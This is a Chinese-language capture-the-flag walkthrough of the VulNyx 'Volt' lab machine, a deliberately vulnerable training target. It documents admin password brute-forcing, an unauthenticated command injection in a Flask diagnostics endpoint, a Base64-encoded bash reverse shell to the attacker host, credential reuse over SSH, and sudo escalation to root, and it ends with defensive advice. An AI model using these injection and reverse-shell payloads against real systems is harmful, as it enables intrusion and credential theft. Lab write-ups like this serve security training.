VulNyx Volt 通关记录|Flask 后台爆破、命令注入与 sudo 全权限提权
靶机链接:Volt
0x01 基本信息
| 名称 | IP / 标识 | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.109 | 攻击机 |
| Volt | 192.168.1.119 (volt.lan) | Debian 13 靶机(Volt - Electronics Store) |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp SSH、80/tcp HTTP (nginx 反代 Flask) | 锁定 Web 电商平台为核心入口 |
| Web 枚举 | 发现 /admin 真实 POST 表单,识别 Python Flask / Werkzeug 特征 | 确定管理后台为突破口 |
| 后台爆破 | ffuf 对 /admin 字典爆破,以 -mc 200 匹配成功登录响应 | 成功获取后台密码 admin:chocolate3 |
| 未授权命令注入 | /admin/diagnostics 接口无需任何会话认证;host 参数直接拼接入 ping -c 1 {host} (shell=True) | 通过 ;、反引号或 $() 实现未授权任意命令执行 |
| 初始访问 | Base64 编码反弹 Shell 回连攻击机 192.168.1.109:4444 | 获得 www-data 用户交互式 Shell |
| 凭据搜集 | 读取 /opt/volt/config.py 获取数据库明文密码 | 得到系统用户 batusai 的密码 V0lt_db_S3cr3t_2026 |
| 横向移动 | 凭据复用于 SSH 登录 batusai@192.168.1.119 | 获得交互式登录并取得 User Flag |
| 提权 Root | sudo -l 发现 (ALL : ALL) ALL 全指令授权,配合已知密码提权 | 获取 root 最高权限与 Root Flag |
0x02 侦察与信息收集 (Reconnaissance)
1. 连通性测试与端口发现
靶机禁用了 ICMP 响应(ping 超时),直接采用全端口扫描工具进行探测。
使用 rustscan 配合 nmap 对目标主机 192.168.1.119 执行全端口与服务识别扫描:
rustscan -a 192.168.1.119 --ulimit 1000 -t 2000 -b 250 -- -sV -sC -A -Pn -oN nmap_full2.txt
Nmap 详细扫描结果:
# Nmap 7.99 scan initiated Sun Aug 23 07:56:48 2026 as: /usr/lib/nmap/nmap --privileged -vvv -p 22,53,80 -4 -sV -sC -A -Pn -oN nmap_full2.txt 192.168.1.119
Nmap scan report for volt.lan (192.168.1.119)
Host is up, received arp-response (0.0022s latency).
Scanned at 2026-08-23 07:56:49 +08 for 17s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
53/tcp closed domain reset ttl 64
80/tcp open http syn-ack ttl 64 nginx
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD
|_http-title: Volt - Electronics Store
MAC Address: 0C:DD:24:76:71:18 (Intel Corporate)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
开放端口汇总:
| 端口 | 服务 | 版本 / 指纹 | 说明 |
|---|---|---|---|
22/tcp | SSH | OpenSSH 10.0p2 Debian 7+deb13u4 | 远程登录服务 |
53/tcp | DNS | closed | 端口可达但服务未监听 |
80/tcp | HTTP | nginx / Reverse Proxy | Web 前端("Volt - Electronics Store") |
0x03 Web 路由与技术栈枚举 (Web Enumeration)
1. 网站结构与目录扫描
访问 http://192.168.1.119/,页面为名为 Volt - Electronics Store 的电子商城。
使用 feroxbuster 对 Web 服务进行常规目录扫描:
feroxbuster -u http://192.168.1.119 -w /usr/share/seclists/Discovery/Web-Content/common.txt \
-t 30 --quiet -s 200
扫描发现以下核心路由:
/admin ← 管理员后台登录入口 (Staff only),包含真实 POST 表单
/api ← 返回 JSON: {"endpoints":["/api/products","/api/cart","/api/orders"],"service":"volt-api","version":"1.4.2"}
/product/{id} ← 商品详情页面 (ID: 1..12)
/login ← 前台用户登录页面 (无 form POST 逻辑,纯展示)
/register ← 前台注册页面 (纯展示)
2. 技术栈指纹识别
- 当对
/login或/register发送 POST 请求时,返回405 Method Not Allowed,页面样式为标准的 Werkzeug / Flask 默认错误模板; - 抓取非存在路由的 HTTP 响应头:
HTTP/1.1 404 NOT FOUND,其大写状态描述同样符合 Python Flask 原生特征; - 综上,目标 Web 服务为基于 Python Flask + Werkzeug 构建的应用,重点突破方向为
/admin后台入口。
0x04 后台字典爆破与未授权命令注入 (Admin Brute-force & Unauthenticated RCE)
1. 管理员后台弱口令爆破
/admin 提供 Staff 登录表单,状态码与响应长度基线如下:
- 登录失败:返回
HTTP 401 Unauthorized,页面长度固定为3326字节; - 登录成功:返回
HTTP 200 OK,页面长度为3878字节并包含✓ Signed in: admin。
利用 ffuf 结合常用口令字典进行字典爆破,直接使用 -mc 200 匹配成功响应:
ffuf -u http://192.168.1.119/admin -X POST \
-d "username=admin&password=FUZZ" \
-H "Content-Type: application/x-www-form-urlencoded" \
-w /usr/share/wordlists/rockyou.txt -mc 200 -s
爆破命中:
chocolate3
验证登录:
curl -s -X POST http://192.168.1.119/admin \
-d "username=admin&password=chocolate3"
响应页面展示 System Diagnostics(系统网络诊断)功能面板。
2. 未授权命令注入成因与利用
在后台界面中,System Diagnostics 提供 host 参数用于测试网络连通性。
经接口鉴权审计发现,后端路由 /admin/diagnostics 未配置任何会话拦截或 Cookie 校验。这意味着攻击者无需先爆破登录后台,直接向 /admin/diagnostics 发送 POST 请求即可未授权触发命令执行。
注入方式测试与回显机制
对 host 参数测试不同分隔符与语法,均可稳定触发命令执行:
-
分号分隔符 (
;):最直接的注入语法。ping正常发送 1 个 ICMP 包后,分号后的命令紧随其后执行,标准输出与标准错误完整呈现在回显中:curl -s -X POST http://192.168.1.119/admin/diagnostics \-d "host=127.0.0.1; id; uname -a"回显片段:
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.038 ms--- 127.0.0.1 ping statistics ---1 packets transmitted, 1 received, 0% packet loss, time 0msuid=33(www-data) gid=33(www-data) groups=33(www-data)Linux volt 6.12.96+deb13-amd64 #1 SMP Debian 6.12.96-1 x86_64 GNU/Linux -
反引号 (
`) 与命令替换 ($()):子 Shell 优先执行注入命令,并将执行结果作为主机名参数传递给ping;ping因无法解析该主机名而报错,错误信息通过stderr同样被捕获并回显:curl -s -X POST http://192.168.1.119/admin/diagnostics \--data-urlencode 'host=127.0.0.1`id`'回显片段:
ping: groups=33(www-data): Name or service not known
漏洞成因分析:
审计服务端源码 /opt/volt/app.py(第 190–198 行):
host = request.form.get("host", "").strip()
output = subprocess.check_output(
"ping -c 1 " + host, # 直接通过字符串拼接构建 shell 命令行
shell=True, stderr=subprocess.STDOUT, timeout=15
).decode(errors="replace")
subprocess.check_output 在 shell=True 下直接将未经校验的 host 字符串拼入命令行,且未做权限鉴权与参数过滤,导致任意外部未授权用户均可执行系统命令。
3. 反弹 Shell 与多行执行通道封装
由于特殊字符和空格可能干扰 Shell 参数解析,使用 Base64 编码封装反弹 Shell 载荷。
在攻击机 192.168.1.109 启动端口监听:
nc -lvnp 4444
发送武器化 Base64 Payload:
PAY=$(echo -n "bash -i >& /dev/tcp/192.168.1.109/4444 0>&1" | base64 -w0)
curl -s -X POST http://192.168.1.119/admin/diagnostics \
--data-urlencode "host=127.0.0.1\`echo $PAY|base64 -d|bash\`"
成功获取 Shell:
connect to [192.168.1.109] from (UNKNOWN) [192.168.1.119] 37788
www-data@volt:/opt/volt$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@volt:/opt/volt$ uname -a
Linux volt 6.12.96+deb13-amd64 #1 SMP Debian 6.12.96-1 (2026-08-01) x86_64 GNU/Linux
0x05 凭据搜集与横向移动 (Lateral Movement)
1. 敏感配置文件审计
在 Web 应用目录 /opt/volt/ 下检查配置文件 config.py:
cat /opt/volt/config.py
配置内容:
DB_HOST = "127.0.0.1"
DB_PORT = 3306
DB_NAME = "volt_store"
DB_USER = "batusai"
DB_PASS = "V0lt_db_S3cr3t_2026"
配置中明文存放了数据库凭据,其中用户名 batusai 对应系统已有用户:
ls -la /home
# drwx------ 3 batusai batusai 4096 Aug 23 07:30 batusai
2. SSH 密码复用与获取 User Flag
测试数据库密码是否在系统 SSH 登录中被复用:
sshpass -p "V0lt_db_S3cr3t_2026" ssh -o StrictHostKeyChecking=no batusai@192.168.1.119 "id"
输出:
uid=1000(batusai) gid=1000(batusai) groups=1000(batusai),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
用户 batusai 成功登录,且属于 sudo 特权用户组!
读取 User Flag:
sshpass -p "V0lt_db_S3cr3t_2026" ssh batusai@192.168.1.119 "cat ~/user.txt"
User Flag:
a0bcc708bba0451e9134c31f4b1dda2a
0x06 权限提升与 Root Flag (Privilege Escalation)
1. sudo 权限检查
检查 batusai 用户的 sudo 权限配置:
echo 'V0lt_db_S3cr3t_2026' | sudo -S -l
输出:
Matching Defaults entries for batusai on volt:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User batusai may run the following commands on volt:
(ALL : ALL) ALL
batusai 用户拥有完全不受限的 (ALL : ALL) ALL sudo 提权权限。
2. 提权 Root 与获取 Root Flag
执行特权提权命令切换至 root 并读取 Root Flag:
sshpass -p "V0lt_db_S3cr3t_2026" ssh batusai@192.168.1.119 \
"echo 'V0lt_db_S3cr3t_2026' | sudo -S bash -c 'id; whoami; cat /root/root.txt'"
输出:
uid=0(root) gid=0(root) groups=0(root)
root
c21c4e2d4784781ce3aabb9c3357e88f
检查 /root 目录文件:
sshpass -p "V0lt_db_S3cr3t_2026" ssh batusai@192.168.1.119 \
"echo 'V0lt_db_S3cr3t_2026' | sudo -S ls -la /root"
total 28
drwx------ 4 root root 4096 Aug 23 07:31 .
drwxr-xr-x 18 root root 4096 Aug 1 05:40 ..
lrwxrwxrwx 1 root root 9 Aug 23 07:31 .bash_history -> /dev/null
-rw-r--r-- 1 root root 571 Apr 10 2024 .bashrc
-rwxr-xr-x 1 root root 850 Jul 30 06:37 cleanup.sh
drwxr-xr-x 3 root root 4096 Aug 1 05:45 .local
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-r-------- 1 root root 33 Jul 31 14:17 root.txt
drwx------ 2 root root 4096 Aug 1 05:45 .ssh
0x07 最终成果 (Final Flags)
User Flag
- 路径:
/home/batusai/user.txt - 权限:
-r-------- 1 batusai batusai 33 - 内容:
a0bcc708bba0451e9134c31f4b1dda2a
Root Flag
- 路径:
/root/root.txt - 权限:
-r-------- 1 root root 33 - 内容:
c21c4e2d4784781ce3aabb9c3357e88f
0x08 漏洞汇总
| # | 漏洞 | 严重程度 | 位置 | 利用方式 |
|---|---|---|---|---|
| 1 | 管理后台弱口令 | High | /admin 登录表单 | 使用 rockyou 字典爆破破解出 admin:chocolate3 |
| 2 | 未授权 OS 命令注入 | Critical | /admin/diagnostics host 参数(无需认证) | 直接向诊断端点 POST 发送 ; 或反引号/$() 载荷,无需会话 Cookie 即可 RCE |
| 3 | 敏感凭据明文硬编码 | High | /opt/volt/config.py | 数据库账号密码明文存储且全局可读 |
| 4 | 账号密码跨服务复用 | High | 系统用户 batusai | 数据库密码被复用为 Linux 系统登录密码 |
| 5 | sudo 过度授权 | Critical | /etc/sudoers | 普通用户配置 (ALL : ALL) ALL 全指令授权,配合泄露密码直接提权 root |
复盘总结与防御建议
- 避免在 Shell 中直接拼接用户输入: Python 调用系统命令应使用列表传参并禁用 Shell 解析,例如
subprocess.run(["ping", "-c", "1", host], shell=False),并对输入 IP/主机名执行严格的正则与白名单校验。 - 端点级强制会话鉴权与双重防御: 仅靠登录表单防爆破无法缓解未授权 RCE。必须在所有管理与诊断端点(如
/admin/diagnostics)增加全局会话/Token 校验拦截器,同时在端点层执行严格的输入白名单校验,杜绝绕过登录直接触达危险操作。 - 隔离应用凭据与系统凭据: 数据库密码与系统用户密码严禁相同;生产环境敏感凭据应通过环境变量或专有密钥管理服务(KMS/Vault)注入,禁止明文提交至代码文件。
- 践行最小特权原则: 限制 sudo 授权范围,禁止为非必要用户配置全通配
(ALL : ALL) ALL权限。